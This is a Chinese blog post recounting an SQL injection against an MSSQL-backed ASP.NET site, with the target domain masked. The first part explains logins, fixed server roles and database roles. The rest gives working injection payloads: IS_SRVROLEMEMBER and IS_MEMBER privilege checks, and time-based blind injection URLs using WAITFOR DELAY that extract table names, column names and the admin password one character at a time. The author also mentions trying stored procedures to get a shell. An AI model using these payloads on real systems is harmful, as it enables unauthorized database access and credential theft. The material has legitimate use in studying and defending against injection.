首页 » NetworkSec » Penetration » 正文

又一次mssql注入历程

//记一次mssql注入历程

0x00 前置知识

先梳理连接数据库用户名,当前数据库用户名,数据库服务器角色,数据库角色的概念

 

数据库用户名

user—连接数据库用户名(登录名)

–user()

user_name()—连接数据库用户名(登录名)

suser_sname()—当前数据库用户名

system_user—当前数据库用户名

如果看到dbo 那么多半当前数据库的用户是dba权限。

 

数据库服务器角色

?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember(‘sysadmin’)))–

?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–

?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–

?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–

?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–

?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–

?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–

固定服务器角色

固定服务器角色具有一组固定的权限,并且适用于整个服务器范围。 它们专门用于管理 SQL Server,且不能更改分配给它们的权限。 可以在数据库中不存在用户帐户的情况下向固定服务器角色分配登录。

说    明

Sysadmin

sa登录永远是固定服务器角色syadmin中的成员,并且不能从该角色中删除

执行SQL Server中的任何动作

 

serveradmin

配置服务器设置

 

setupadmin

安装复制和管理扩展过程

 

securityadmin

管理登录和CREATE DATABASE的权限以及阅读审计

 

processadmin

管理SQL Server进程

 

dbcreator

创建和修改数据库

 

diskadmin

管理磁盘文件

 

数据库角色

?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–

 

固定数据库角色

固定数据库角色具有一组预定义的权限,这些权限旨在允许您轻松管理权限组。 db_owner 角色的成员可对数据库执行所有配置和维护活动。

 

说    明

db_owner

可以执行数据库中技术所有动作的用户

 

db_accessadmin

可以添加、删除用户的用户

 

db_datareader

可以查看所有数据库中用户表内数据的用户

 

db_datawriter

可以添加、修改或删除所有数据库中用户表内数据的用户

 

db_ddladmin

可以在数据库中执行所有DDL操作的用户

 

db_securityadmin

可以管理数据库中与安全权限有关所有动作的用户

 

db_backoperator

可以备份数据库的用户(并可以发布DBCC和CHECKPOINT语句,这两个语句一般在备份前都会被执行)

 

db_denydatareader

不能看到数据库中任何数据的用户

 

db_denydatawriter

不能改变数据库中任何数据的用户

 

要使用数据库对象,必须将登录映射到数据库用户帐户。

dbo 或数据库所有者是具有在数据库中执行所有活动的默示权限的用户帐户。 sysadmin 固定服务器角色的成员会自动映射到 dbo

 

数据库登录名-数据库服务器角色(sa-sysadmin)

当前数据库用户名-数据库角色(dbo-db_owner)

一般sa-dbo

 

SQLSERVER就象一栋大楼,里面的每个房间都是一个数据库.登录名只是进入大楼的钥匙,而用户名则是进入房间的钥匙.一个登录名可以有多 个房间的钥匙.SQLSERVER把登录名与用户名的关系称为映射.

—忘记出自哪篇文章了,比较形象。

 

0x01 起源

时间盲注

dbo用户

 

这下应该没啥曲折吧

继续开存储过程弹shell看看

没反应…….盲注爆数据太慢,算了收工。

猜测第一个表长度

http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20(len(name))>11)=1%20waitfor%20delay%20’0:0:2’%20–

 

猜测第一个表第一个字母

http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20ascii(substring(name,1,1))=75)=1%20waitfor%20delay%20’0:0:2’%20–

 

以此类推

猜列名

.aspx?id=1′;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name=’admin’),1,1)))>80 ‘0:0:5’%20–%20

猜密码

.aspx?id=1′;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay ‘0:0:5’%20–%20

 

0x02 参考资料

https://blog.csdn.net/e_online/article/details/4597957

Comment

please input captcha *